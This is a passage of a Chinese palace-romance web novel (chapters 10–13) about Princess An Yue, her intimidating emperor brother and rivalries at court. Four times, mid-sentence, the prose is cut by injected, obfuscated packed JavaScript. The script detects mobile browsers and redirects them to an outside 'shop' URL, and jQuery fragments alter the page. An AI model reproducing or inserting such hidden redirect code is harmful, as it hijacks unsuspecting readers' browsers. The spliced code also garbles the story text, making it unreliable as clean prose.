安玥咬着下唇没说话,她心跳得快极了,觉得几辈子都没这般长。 曲闻昭将她神色尽收眼底,戏弄得够了,方悠悠道:“同妹妹开玩笑的。” 安玥双目微微瞪大,察觉什么,看向他。 曲闻昭觉得她这表情亦是蠢得好笑。 安玥眼睛泛着酸涩,她垂下头,“那臣妹可以走了吗?” 曲闻昭点了点她面前的盘子,“不急,把糕点吃完。” 她眼泪尚未完全憋回去,霎时被一股惊愕代替,“全部?” “……皇兄是准备撑死我吗?” 曲闻昭终于被她表情逗笑。 “怎会撑死?妹妹前几日给皇兄送来糕点,皇兄思来想去,总得回你些什么。” 安玥终于反应过来,皇兄过来还是记恨上回的事。可当时她察觉那糕点不合皇兄口味,她也没逼着皇兄硬吃啊。 好生小气。 她咬了咬牙,赌气般拿了块糕点塞进嘴里。用力地嚼着。她埋着头,双颊气鼓鼓的。摆明了不会再和曲闻昭多说一个字。 曲闻昭看见她这幅样子,多日郁结一扫而空,期间还贴心地递了杯茶水给她。 她吃得很慢。眼见皇兄没有继续刁难的意思,她渐渐放松下来,便是口中的糕点也有了滋味。 胡禄不知何时拿了只药箱,站在一旁候着。 安玥捻了枚藕粉桂花糖糕,是她先前没吃的那盘。糕点入口,藕粉混着清甜的米香,桂花馥郁,口感软糯,甜而不腻。 她吃完手中的,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592345|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经意拿了一块递给曲闻昭。等了半日对方未接,她手举得酸了,察觉自己做了什么,动作微僵,抬起头,见皇兄正看着自己。 眼神有些复杂。 “唔……”安玥欲盖弥彰地收回手,她刚咬下一口,觉得颈侧微凉,与此同时传来刺痛。她不经意瑟缩了下,手中糕点脱手。 看向曲闻昭的目光透着警惕。 曲闻昭不知为何,看见这神情觉得有些不悦。 药瓶打开,露出透明的膏体。曲闻昭用指腹沾了些,涂在渗血的伤口上。 安玥觉得脖根有些凉,又有些痒。这算什么?打个巴掌再给颗甜枣吗? 她抬起眼,正见皇兄垂着眼睫。屋外的雪停了,日光将天地间照得白茫茫一片。几缕阳光从窗牖斜照进来,落在他面上。将低垂的眼睫照得根根分明。 往下是一双清冷的眼睛,沾了日光的温度。再是高挺的鼻梁,他骨相极好,轮廓深邃明显。 即使不笑,也会给人一种很温和的错觉。好似他们与世间寻常兄妹无异。 安玥不由得有些出神。都是一个父亲生的,她过去觉得自己的容貌在京城已算数一数二,可同皇兄一比,她还是有些自惭形秽。 安玥不禁想,他们真的是一家人吗? 曲闻昭收回手,注意到她目光。眉心蹙了下,吓傻了? “在想什么?” 安玥不经意:“皇兄生得很好看。” 空气静默了瞬。 角落里传来一声笑,打破沉寂。胡禄一扭头,触到陛下眼神,连忙把头埋了下来。 安玥亦是反应过来,身形微僵。 曲闻昭取出一块帕子,将指腹沾上的膏药擦拭干净。 “是吗?有多好看?” 安玥不情不愿:“比我好看些。” 若这话由旁人说出来,便显得是在侮辱人。可安玥说这话,却不让人生怒,反而让人想笑。 “是吗?” 安玥支颐着脑袋,朝曲闻昭弯了弯眼睛:“皇兄的容貌自是天上有地上无,面如冠玉,是福泽深厚之相。” “可妹妹不知,我出生时,曾有人说我是孤星临门,刑克六亲之相。妹妹不怕吗?” 父皇在世时,最是信这些命理之说。若是他知道这件事,皇兄又会受到怎样的冷遇? 听说当年父皇要把二皇兄送去祝国寺,最后是祺嫔娘娘竭力相求,方将皇兄留在身边。可母子就此失宠是必然的。 安玥不知怎的觉得眼前的人有些可怜,先前的怨气也消下去了些。 她干巴巴安慰了句:“生老病死乃常态。况且臣妹不是活得好好的吗?可见那人是个假和尚。照这般说,安玥亦是早早没了母妃。” 安玥话落,想到什么,扯出一抹笑,她忍着哆嗦,轻轻握住曲闻昭的手:“皇兄何必在意?以后安玥陪着皇兄便是。” 她说这话倒不完全是为了安慰曲闻昭,也是为了讨好。 曲闻昭指尖眼中那抹玩味的笑意微微僵住。纵使知道这是奉承之语,可却让人冷不下脸。 可他不需要这些。 “妹妹果真是皇兄的知己。”他见她头都要埋入桌里,意味不明笑了声:“那和尚后来也当着众人的面承认了。所以妹妹知道那假和尚后来如何了吗?” 安玥猜到他必然是死了。 便听曲闻昭轻声:“拔舌,凌迟。” 安玥面色微白,缩回了手。却见他垂眸看着自己,鸦长的羽睫懒懒垂下。 他用只有二人才能听到的声量:“妹妹觉得我做的对吗?” 11. 第 11 章 人言可畏。那道士一句话,害苦了皇兄,亦间接害死了祺嫔娘娘。 他确实该死。但是…… 保命要紧,她觉得自己此刻有必要说一些奉承之话,可鬼使神差的:“安玥未受过皇兄受过的委屈,没资格评判。” 曲闻昭倒有些看不透她了。印象里,他这妹妹性子软弱蠢笨,贪生怕死。 被逼成那样都想不到把刀刃对着别人,愚善至极。此刻该是强颜欢笑,说些违心话赞同他,然后和所有人一样在心底骂他阴狠暴戾,咒骂他不得好死才是。 “陛下,杨姑娘求见。” 杨玉茗,是羽林卫统领杨尚所出。宫变那日,是她竭力劝说杨尚,倒戈向曲闻昭。 如今事实证明,她押对了。 曲闻昭收回思绪,对安玥道:“你回去吧。” 安玥未设想自己还能听到这五个字,眼睛微微瞪大。 “怎么?”曲闻昭觉得这表情实在好笑,“不想走?” 她几乎从杌櫈上蹿起,“安玥告退。” 她甫一转身,见一名女子穿着一身梅子青色的衣裙,款步朝殿内走来。她衣着素净,却不恭敬失体面,头上发饰不多,可每一样单独拎出来一瞧,都极为精致,与衣裳搭配妥帖,显然是花了心思的。 她注意到安玥,眼底闪过异色。转而朝曲闻昭盈盈一拜,“臣女参见陛下。” 安玥心底生出几分好奇来。倒未听说皇兄同哪家的千金有过交情。 曲闻昭温声:“不必多礼。” “是陛下这几日赐了赏赐,偏偏父亲旧疾复发,特让臣女前来谢恩。” 曲闻昭似是关切,“杨统领病了?可有大碍?” 杨玉茗垂下眸光,摇摇头,“劳陛下记挂,只是小病。” 她顿了下,从袖中取出一枚荷包,“听闻陛下这几日夜里失眠多梦,玉茗身为臣下之女亦是日日担忧挂怀,这荷包是玉茗亲手所绣,里面放了自配的草药。不是贵重的东西,却是一片心意,还望陛下不弃。” 曲闻昭微微侧目,胡禄明白过来曲闻昭意思,双手接过。 杨玉茗心中微喜,这荷包的确不是贵重之物,但曲闻昭肯收,说明他是念着旧情的。 当年祺嫔新丧,无意间坐实了曲闻昭刑克六亲之名。 其余皇子亦明里暗里排挤他,更有甚者直接折辱殴打。 有一回她撞见他被人打的浑身是伤,躲在角落不敢插手。夜里心有余悸,派人一问方知他发了高热,无人医治。 她动了恻隐之心,悄悄派人送了药过去。却不想父亲得知此事,天亮对她动了家法,那几日她伤重的下不去床,足足躺了半月。 那股被压在心底多年的怨毒再次和积食反酸般泛起。 她确实后悔过。但如今想想,果真命格有异之人亦多是天选之子。 倒也不枉她受那一顿打。 她不经意勾了勾唇角,一抬头,便见曲闻昭眼底含笑,目光一丝不错盯着自己。杨玉茗心放在身前的手微微一颤。 对面的人分明是在笑,可细看便知,那眼神透着玩味,似是能将人看穿一般。令人不适。 安玥站在一旁,不知二人心里所想,只是有些纳罕。 皇兄喜欢这样的女郎? 可她记得,这位杨姑娘过去与太子哥哥也离得极近,她那时以为这位杨姑娘对太子哥哥存了女儿家的心思。 若不是这位出身差了些,本是府中姬妾所出,当有不少人传这位将来是要做太子妃的。 想起曲奕,安玥眸光颤了颤,她没心思细思,又不好打搅,行了个礼,静静离开。 杨玉茗心下微微惊颤,陡一抬眸,方发觉曲闻昭的视线似乎还停留在安玥离开的背影上。 她心里觉得异样。若她没记错,当年祺嫔之死,与安玥公主的母妃脱不了干系。如今仇人的女儿就在眼前,陛下竟也能安然对之么? 她尚未回神,那边传来声音,“可还有事?” 杨玉茗触到曲闻昭温和的眸子,目光微微怔了下。当年她看中太子权势,方有意接近。虽说太子性格冷清,却也称得上温良恭俭。 而新帝,看似温润如玉。可但凡不是傻子,都能看出他并非表面这般。 即使语调再怎么温和,却依旧让人不寒而栗。 但当初雪中送炭的情谊,是旁人无论如何也比不得的。 至少陛下温和待她,是记得旧情的。但她心底清楚,越是性子孤僻之人,越是不好接近。若是来日能哄得他对自己上心,只做她一人的刀…… 她心底那股犹豫退散了些,莞尔一笑,摇摇头,“陛下公务繁忙,民女便不打扰了。” 胡禄收到曲闻昭眼色,恭敬上前,“杨姑娘,奴婢送您。” 杨玉茗婉声道:“劳公公远送,不敢当此礼遇,公公请留步。” 杨玉茗走远,胡禄看着手里的荷包:“陛下,这荷包如何处置?” 曲闻昭垂下眸,眼底半分温和也无,语气嫌恶:“烧干净。” 安玥刚回到镜烛宫,便见屋内摆满了各式鲜花,显然是刚摘的。 接连几日被霜雪打得跟蔫茄子般惫懒懈怠的宫娥见着她,亦是恭恭敬敬行礼。 安玥心中疑惑。一抬头,注意到偏殿站着几名太监。瞧着眼熟,似是皇兄身侧的人。 那几人看见自己,恭敬行礼,“公主。” 安玥注意到他们手中的食盒,心中生出一个荒谬的念头。便听为首一名太监笑吟吟道:“陛下得知公主爱吃糕点,便让奴才送些过来。陛下吩咐,要公主把这些吃完。” 吃完?! 安玥有些想吐。她往后退了两步,迎着小太监不明所以的目光,安玥勉强笑了笑,“劳公公跑这一趟,替我多谢皇兄。” “陛下宠爱公主,这是奴婢们应尽之责。” 宠爱?那送你了。 安玥木然地看了一眼那十来盒糕点,清栀上前,从袖中取出一袋金叶子分给几名太监。 “我家公主请公公们喝茶。” 那太监推脱道:“应该的,应该的。” “只是些碎银两,公公收着吧。” 回去的路上,安玥听角落窃窃私语。 “都赖你,当时说公主失了圣心。可今日陛下送了好些糕点来。” “哪里就赖我?我也是听旁人说的……” 那宫娥余光突然瞥见什么,面色微白。 “这也能传错?那……”另一面宫娥话未说完,觉得袖子一重。她心陡地一跳,扭头便见公主不知何时站在那,静静看着这边。 分明是寒冬腊月,二人额头上生生渗出一层汗,只能心里祈祷完公主莫要听到才是,方赶过来行礼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592346|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可安玥却未站在原地,已移步离开。留两人在原地惊疑不定,面面相觑。 安玥回了屋,同若桃齐齐捂着嘴偷笑。清栀先前已同她说过事情原委。 “公主,这帮人也太蠢了。您没见到那两人脸色又青又白的样子,比元宵节的花灯颜色还鲜艳。” 安玥趴在桌子上,整张脸都埋在手臂间,笑得够了,朝若桃做了个嘘声的手势,“将错就错也好。” 第二日若桃陪着安玥在御花园荡秋千。风有些刺骨,安玥没要人推,只自己坐在上面有一搭没一搭地晃着。 本想着今日能安生些,却听不远处传来一道熟悉的女声,脆生生的,“母妃,这处的花开得好艳。” 安玥懒得应付,未防撞上,起身欲换个地方。 “多大了还跟皮猴子似的。冷不冷?” 安玥脚步顿住,回过头,便见不远处站着三道人影,年纪稍长些的那名女子替岁康笼了笼肩上的狐裘。她们身后站着个“肉团子”,比二人矮了一截。是岁康的同胞弟弟,曲靖溪。 岁康似是注意到这边,微微侧过脸,朝安玥投来一个极艳的笑。 若桃看了想吐,模仿着那二人的样子,亦学着那女人的样子替自家公主笼了笼狐裘,学着那女人的腔调,“公主,冷不冷?” 安玥原先还有些惆怅,这会被若桃一闹,是半点心思也没了。 她把她凑过来的脸戳开,“别闹。” 莲太妃听到那头动静,抬起头,便见到一张令她极为厌恶的脸。 本以为先帝一死,她没了庇护,又因母族旧怨得罪了那个灾星,就算不死也得受尽冷眼。却不曾想使了身狐媚手段,又哄得新帝另眼相待。 当真是同她母妃一样,令人生厌。 若桃正欲和公主离开,却见二人走近。眼看着避不开,若桃眼珠子一转,夸赞:“公主这只新得的翠翘真漂亮,陛下对公主真好。” 安玥瞳孔微微瞪大了些,未想到若桃“急则生变”,竟整了这一出。可说出去的话便如泼出去的水,此刻已不好收回。好在她调整好心绪,从容不迫应上,“长兄如父,许是皇兄见我年纪小,所以起了爱护之心。” “可奴婢瞧着,陛下对旁人也未如此。想来是陛下独独宠爱公主。” 安玥掐了掐若桃的胳膊,示意她别再说下去。先前那些尚且算是将错就错,今日这个可以说是扯谎了。 说得多错得多。 “安玥。” 安玥转头,便见女人含笑看着自己。她上了浓妆,眼角因为笑容褶起淡纹。 鲜红的唇勾起一丝弧度。让人想起五个字:皮笑肉不笑。 她省得同这些人虚与委蛇,回了二字:“莲太妃娘娘。” “本宫同你许久未说过话,今日碰巧遇上,瞧瞧,也是大姑娘了。” 安玥微笑未应。 莲太妃早有预料般,也不恼,“说起来,安玥你自小没了母妃,如今先帝也崩逝了。你在这宫里没个依靠可不行。” “我也算你半个母妃,该替你操心操心婚事。要说起来,户部尚书家的小公子……” 谁人不知,户部尚书的小儿子生得肥头大耳,比公主大了六七岁。最是下流好色,隔三差五便往醉仙楼跑。 那醉仙楼是什么地方? 纵是如此,他姬妾还不知纳了几房。 12. 第 12 章 若桃怒目,“我家公主的婚事,不劳娘娘操心!” 她话落,空气传来一声清脆的巴掌声。 “放肆!主子说话,容得奴才插嘴?妹妹是该管教好手下的人了。” 安玥一扭头,便见若桃头偏在一旁,她眼眶泛红,一只手还捂着脸颊。 若桃侍奉了她这么多年,她从未见若桃哭过。 安玥把若桃捂着脸的那只手拿下,强忍住心绪:“我看看伤。” 伤处没了遮掩,便见若桃原本白皙的面颊上赫然是一个红肿的巴掌印,肿起来好些。 若桃把眼泪逼回去,摇摇头,“公主奴婢没事。” 莲太妃冷笑一声,“母妃也是为你好,你……” 安玥目色一寒。便听空气里“啪”得一声脆响,莲太妃尚未反应过来。便见安玥一巴掌甩在了岁康脸上。 这一巴掌打得极用力,岁康半张脸都肿了。 迎着岁康难以置信的目光,安玥冷冷吐出三字,“还给你。” 安玥不愿与母女二人废话,“不劳娘娘操心。皇姊还比我大三岁,娘娘不如操心操心皇姊的婚事吧。说起来,那户部尚书的小公子同皇姊年纪相仿,娘娘若是喜欢,那配皇姊正好。” “父皇刚驾崩,恕安玥无心讨论这些,告退。” “站着!” 安玥脚步未停,突然觉得被人大力推了一下。若非若桃扶着,她几乎要栽倒在地。一回头,便见曲靖溪气势汹汹站在她身后,“让你欺负我母妃!让你打我皇姊!” 他身后,莲太妃心疼地搂着自家女儿,扬声,也不知是对着岁康,还是故意说给安玥听:“当真是有娘生没娘养的,出手欺打长姐,真是好本事。你就不怕你皇兄得知此事……” 安玥深吸一口气,伸手拉住一旁就要发火的若桃,头也不回的离开。 却不知安玥前脚刚走,莲太妃后脚便向曲闻昭禀奏此事,虽未直说,话里话外却极尽暗示,安玥缺乏管教。 可这话一出来,莲太妃后知后觉有些害怕,毕竟连带着把新帝也骂了。好在上边的人瞧着并未动怒,只是让人把她送走了。 此举让莲太妃愈发坚信,新帝性子软弱,且当真是恨极了安玥。 曲闻昭事后让人查了当日御花园的事,听到翠翘一事,也只是指腹摩挲着杯盏,未说话。 另一边,主仆二人回了宫。清栀看着这架势,吓了一跳,连忙去取药箱过来。 安玥道:“下次再遇到这样的事,你别同她们废话。伤了自己不值当。” 若桃垂着头,“是我连累公主,若是陛下得知此事,借机发难……” “公主手疼吗?” “有点。”安玥看着若桃一双眼睛都快被自责两个字淹没了,笑了声道:“但解气。莫要为此事忧心,也不全是为了你。忍了几日,这一巴掌迟早要甩出去。” “我不愿生事,但也没有被人压着欺负的道理。” 清栀亦是怒不可遏,“这帮人欺人太甚。” “算了,她今日还白挨了一巴掌呢。说起来,我那皇姊最是爱惜那张脸,回去还不知要哭成怎么样。” “今日皇兄本是想刁难我,若是让他知道此举还无意间救妹妹于‘水火’,还不知要气成什么样。傻子。” “傻子!傻子!” 三人被这突兀的一声吓了一跳,齐刷刷扭过头,见鸟笼里的咄咄正扑腾着翅膀。 安玥要去堵咄咄的嘴,已经来不及了。 曲闻昭受不住屋外冷风,晃着尾巴进屋,尚未闻清屋内是何药味,便被劈头盖脸一顿骂。 他冷冷看了眼笼子里的鹦哥。 死鸟。 曲闻昭视线尚未收回,一只手伸来将他抱起,托在臂弯上。他无需看便知是谁。 安玥抱着他走向鸟笼。曲闻昭眼底闪过嫌恶,扭过头,整个脑袋几乎埋在安玥胸口。 安玥轻轻拍了拍他的身体,“你别害怕,我教过咄咄了,它会很和善的。” 与他何干? 安玥走到鸟笼前:“咄咄,打个招呼。” 咄咄“啾”了一声。安玥眉眼一弯,喂了块杏仁碎给它。 “咪儿?” 安玥话落,见咪儿扭回脑袋,就要从她手上跳下去。安玥伸手抚上他后颈,不轻不重捏了两下。 曲闻昭刚支起的身子瞬间瘫软回去,那股熟悉的酥麻感流便四肢百骸。 “听话,打个招呼。” 曲闻昭几乎要将后槽牙咬碎,他恨恨扭过头,动了动唇,却一个音节都发不出。 安玥将手穿到他身下,揉了揉他的肚子,“咪儿?” 曲闻昭肚子里一股气尚未咽下,喉咙里不自觉溢出一声猫叫。 他几乎要跳起,偏生骨头像是被抽了力气般,软绵绵的。 安玥揉了揉他脑袋,“乖。” “……” 午后,两名大臣从含彰殿出来,齐刷刷用袖子擦了擦额头渗出的汗。 饶是傻子也能感觉出来,今日陛下心情不佳。纵使未直说,但陛下面上被阴云笼罩着,浑身散发的气息似是要将人活剥。 原本烧了地龙的议事殿,活像屠宰场。 二人想起当初太极殿上的场景,心中叫苦不迭。谁又惹着他了? 二人前脚刚走,曲闻昭从殿内出来。 胡禄跟在他后面,背往下弯了几分,“陛下去哪儿?” 曲闻昭冷着脸,他不说话,胡禄也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592347|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢问,免得触了陛下霉头,只跟在曲闻昭身后,一路到了御花园。 却不想绕过一重假山,正到转角处,“砰”得一声。 地上正倒着一个大大的“肉丸子”。肉丸子抬起脑袋,一张嘴便是破口大骂:“哪个不长眼的?!” 曲闻昭目光冷冷垂下。脚边那人面上闪过一丝僵硬和错愕。 “皇……皇兄?” 胡禄见着这阵势,亦是未料到。他眉心微蹙,睇了曲靖溪一眼,朝曲闻昭恭敬道:“陛下,这是七皇子。” 曲靖溪觉得害怕,他扭过头,只敢对着身后的人尖叫:“都死了吗?还不来扶我?” 原本还跪在地上的侍女听到这一声,连忙爬起,合力将地上的人扶起。 “皇兄恕罪,臣弟不是有意的。” 这一声并无多少诚意。 曲靖溪觉得面前的皇兄生得还算温和。又想起这位皇兄自幼丧母,在宫里素来默默无闻,想来性子软弱,怕是没比他某个皇姐好多少。 先前那股畏惧顿时消失的无影无踪,转而被一股羞恼取代。 “弘文馆未教过你敬长尊君?” 曲靖溪如今也不过十二,只到曲闻昭腰处。离得近了,他便只能仰着头。 “教……教过。”皇兄分明是平和的语气,可那眼神却让人不寒而栗,心底刚升起戾气登时做鸟兽散。 “那看来是教的不够。今日之内,将礼记抄二十遍给我,若是交不上来,再加二十遍,就在偏殿,什么时候抄完,什么时候回去。” 偏生曲靖溪是个没眼力见的,他梗着脖子脱口而出“不要!”,可一抬头,正碰上皇兄阴沉的目光。 像是黑寂的山林褪去雾的伪装,魑魅魍魉从身后飘过。 他双腿支不住重量,竟直接跪了下来。他一把鼻涕一把泪拉住曲闻昭的袍角,嚎道:“皇兄……臣弟抄不出啊……臣弟饿死也抄不出的!!二十遍非人能抄的啊……” 曲闻昭盯着抓着自己的那只手,眸光骤然一锐,渗出丝丝寒意。他将衣角从曲靖溪手中扯回,“非人抄的?孤在给猪下口谕?” 他嗓音平静无波,唇角似是带笑,可眼角眉梢尽是冰冷,“‘志之难也,不在胜人,在自胜’,你没抄过,又怎知不行?” “皇兄……皇兄!”曲靖溪面上的五花肉跟着颤抖。 曲闻昭抬脚离开,冰凉的衣摆从他的面上拂过,“扶七皇子下去。” 曲靖溪又嚎了声,可这次声音尚未发全,曲闻昭蹙了下眉。底下的宫人吓得连忙去捂七皇子的嘴巴,生怕再闹出旁的事来。 曲闻昭走出几步,注意到假山后站着道人影。她半张脸被毛绒裘边拢着,正猫着腰,半个身子要钻进假山后。 13. 第 13 章 “十七妹妹。” 安玥动作一僵,闭了闭眼,祈祷着是风声,脚底抹油就要开溜。手腕一凉,一道力道将她往后一带。她后背撞上“一堵墙”,大半个身子暴露在阳光下。 头顶传来声音,语气玩味,却像是有一根冰锥直指她脊背:“妹妹跑什么?” 熟悉的语调飘入耳中,她浑身汗毛竖起,扯出一个惊讶的表情,“皇兄?唔,好巧……” 她扭头,见曲闻昭一言不发看着自己,她想起这几日狐假虎威之事,眼下见着正主,心虚更甚,解释道:“适才专心赶路,未能看见皇兄。” “是么?”他指腹不轻不重捏着她腕骨:“我当是妹妹不想见到我。” 安玥看了眼四周,把手腕从曲闻昭手里悄悄挣回,“没……有。” 曲闻昭笑了声,二人拉开距离,“昨日莲太妃娘娘找我,你可知是何事?” 安玥身后是假山,退无可退。只能缩着脑袋,摇摇头,眼神止不住地飘。 “哦?她说你仗势欺人?欺打长姐,可有这回事?” 安玥勉强笑笑:“没影的事。臣妹哪有势呢?只是生了口角。臣妹自幼没了母妃,只有兄弟姐妹,这些年在宫里都未与人生过争执,哪里会打架?” “这是怪皇兄未护好你?” “……皇兄误会了。” “手足和睦是最好不过了,既然生了误会,不如上门说开了如何?” 安玥面色微变,莫名觉得这情景有些熟悉,又觉得荒谬。 她咬住下唇,没敢把拒绝的话说出。却觉得后颈冰凉,一只手在上面不轻不重捏了一下,迫着她仰起头。 鬼使神差的,安玥不知哪来的胆子:“不要。” 要让她上门见岁康,绝无可能。这只是其一。最要紧的是,她怕翠翘的事败露。况且她并不觉得自己有错,她不想道歉。 “什么?” 她脖子一梗,仰面直视他的眼睛,颇有几分要杀要剐悉听尊便的意思。 “没误会,就是臣妹打的。” 几次下来她也摸清了,皇兄暂时没有杀她的念头。只是想吓唬她。既然如此,她不管怎么答,皇兄都能找到理由磋磨她。 不如认了。 曲闻昭眉头轻挑。他倒未想到,她那软弱可欺的性子,会动手打人。更没想到,她竟直接应了。 “那妹妹觉得,此事该如何处置?” 安玥又蔫下来,低头道:“是臣妹不是,皇兄罚我吧。” 曲闻昭发觉她今日胆子变大了些,褪去了以往那畏畏缩缩的样子,不再像兔子,倒像是只狐狸,狡黠。 他语气轻飘,漫不经心:“前些日子北疆新进贡了一批布帛,你若肯上门解释误会,那些布帛便都是你的。你若执意不愿,便到我那择卷经文抄三十遍,静静心。” “多……少?”安玥以为自己听错,瞪大了眼,仰头看他。 “不愿意?” 她缩回去:“愿……愿意。” 安玥咬牙,心底把这帮人骂了个底朝天。面上却竭力扯出抹笑:“臣妹遵旨。” 她不会天真的以为皇兄是来主持公道的。本以为此事出来,她少不了一顿戒尺,不想只是抄经。 抄就抄,择几卷短些的便是。 安玥绕出假山,跟在曲闻昭身后。她面上带着淡淡的微笑,瞧着压根不像刚挨过罚的人。 偶有路过的宫人见了,也要在心底暗叹一声,陛下果真是宠爱公主。若是旁人,连见陛下一面都难,更遑论一道游园。 安玥跟着曲闻昭到宁兴宫,先去了书房。 曲闻昭在案边坐下,“你自去架子第五层挑一卷。” 紫檀木做得橱柜,瞧着有六尺,通体光素无雕,只在柜角处饰以云纹卷边,第三层是封闭的,橱门镶着细格纱棂。 橱内藏书码放整洁,不见尘垢,有几本用蓝布函套套住,里面的书纸页泛黄,瞧着有些旧了。 安玥仰着头看了眼第六层,上面多是竹简,她相中了卷相对小的,踮了踮脚,用指尖去够。 她举得手酸,竹简在指尖反复触碰下露出大半节身子,安玥悄悄往后看了眼,见皇兄低着头处理奏折,未注意到这边。她大起胆子,轻轻一跃,那摇摇欲坠的竹简被她往下一压,终于从橱柜上掉了下来。 她仰着面不经意伸手去接,未防慢了半拍,竹简正砸在额头上。头昏脑涨间,“啪嗒”一声,竹简已滚落在地。 安玥痛得捂住了额头,额脚火辣辣的,只得以手扇风,余光朝那头觑了眼,好在曲闻昭只是轻轻将澄心纸铺平,未在意这边。她心虚弯腰将竹简拾起,看清赘简上的经名。 是心经。 她记得这卷经文确实不长。 安玥手里拿着那卷竹简,觉得指腹沾上什么,轻轻捻了捻,是一层薄灰。 她语气试探,“既然如此,安玥便回去抄书了?” 曲闻昭未说话,似是默认。安玥转过身时,面上那点笑意维持不住。曲闻昭听着她“噔噔噔”的脚步声由近至远,悠悠倒了杯茶,俨然是心情大好的样子。 眼看着人就要踏出房门,他不徐不疾把人叫住:“在这儿抄。” 安玥目光瞪大了些,扭过头,方见胡禄在距皇兄用的那张书案不远处又摆了张桌。她身形微僵,勉强启唇:“皇兄,臣妹写字容易甩到墨水,怕弄脏了奏折,打扰皇兄行公务。臣妹坐偏殿便是。” 曲闻昭抬眼,睇向她:“你确定?” 安玥总觉得皇兄语气有些奇怪,跟设了套似的。她想了想,偏殿无非冷些,微微颔首:“皇兄忙得是国家要事,臣妹不好叨扰。臣妹本就是来受罚的,待在偏殿便好。” 曲闻昭呷了口茶,“带公主过去。” 出了书房,风一吹,将袄裙沾上的闷热拂净,只余下一股淡淡的木兰香,贴着雪点飘入衣领,渗进肌理的瞬间,化成水珠,有些凉。 她觉着四周风气通畅,整个人如鱼归了水,步子都轻快了些。 殿门吱呀一声打开,她一口气尚未松到底,映入眼帘的是一张熟悉的脸。 小胖子! 安玥眼底闪过嫌恶。她猛地想起,他今日也被罚了抄书。若是让他得知自己因岁康之事被罚,还不知要怎么嘲笑她。 曲靖溪未料到安玥也在这里,冻得通红的脸变得有些难堪。 红里透青,他语气无半分敬重:“你怎么在这?!” 安玥手里拿着经文,微微一笑:“皇弟怎么在这?”她做出一副了然的表情:“可是被罚抄书?” 曲靖溪面色凶狠:“不用你管!” 安玥一双眼睛上下轻扫了下,曲靖溪不经意要去遮书本上的字,但是来不及了。 只见她做出一个了然的表情,“原来是礼记。莲太妃娘娘平日里对皇帝实在是疏于管教,皇弟确实是该抄一抄,想来皇兄也是为了你好。” 同那日一样的话,安玥原封不动还回去。 “砰!” 曲靖溪被戳到了痛点。将笔往案上一砸,抡起拳头就要冲上来。胡禄面色一沉,往两边看了眼,训练有素的女官一左一右上前,将曲靖溪拽住。 曲靖溪不防这一下,整个人因惯性仍向前冲去,女官们自知拽不住,面色微微变了下,及时松手。他肥胖的身子跌滚在地,正砸在安玥脚边。 “呜……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601861|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安玥似是受了惊吓,语气都带了些哭腔,“别打我……” 曲靖溪自觉丢脸,挣扎地爬起身。一抬头见胡禄沉着面色,一双眼睛盯着自己,后知后觉想起自己在什么地方,登时有些害怕。 胡禄往左右使了个眼色,要把人拉回去,这厢还有些焦头烂额,一扭头发现公主已提裙跑远了。 曲闻昭将手中奏折合上,听屋外传来急切的脚步声。 “皇兄……”安玥垂着脑袋进来,她发丝被风吹得有些乱,眼眶也红红的,难得狼狈。 曲闻昭喝茶的手一顿,似是不解:“谁惹着你了?” “没事,七皇弟性子急躁,想来也不是故意的……” 她见皇兄不接话,只得拉下脸:“皇兄一人在这儿,想来闷极了,安玥就在这儿陪皇兄可好?” 曲闻了未说话,安玥也不敢动,手里拿着卷经站着,窘迫极了。 最后是胡禄接过安玥手中的竹简,放到书案铺开,“公主,请。” 安玥终于松了口气,她宁愿对着皇兄。至少皇兄不发疯时像个正常人,而曲靖溪却时时刻刻都像个傻子,又疯又傻。 安玥右手执笔,见着不远处书案上,大红的奏封,被一只白皙如玉的手压着,他指节修长,隐隐能看见青色的筋脉,倒有几分赏心悦目。 安玥怀着心思,一抬眼,正撞进头顶那双含笑的眸子里,那笑不似笑,倒更像是戏谑,只是不明显。 若有第三人在这儿,必要被这番假象骗过,以为坐在面前的只是一位温润如玉的兄长。 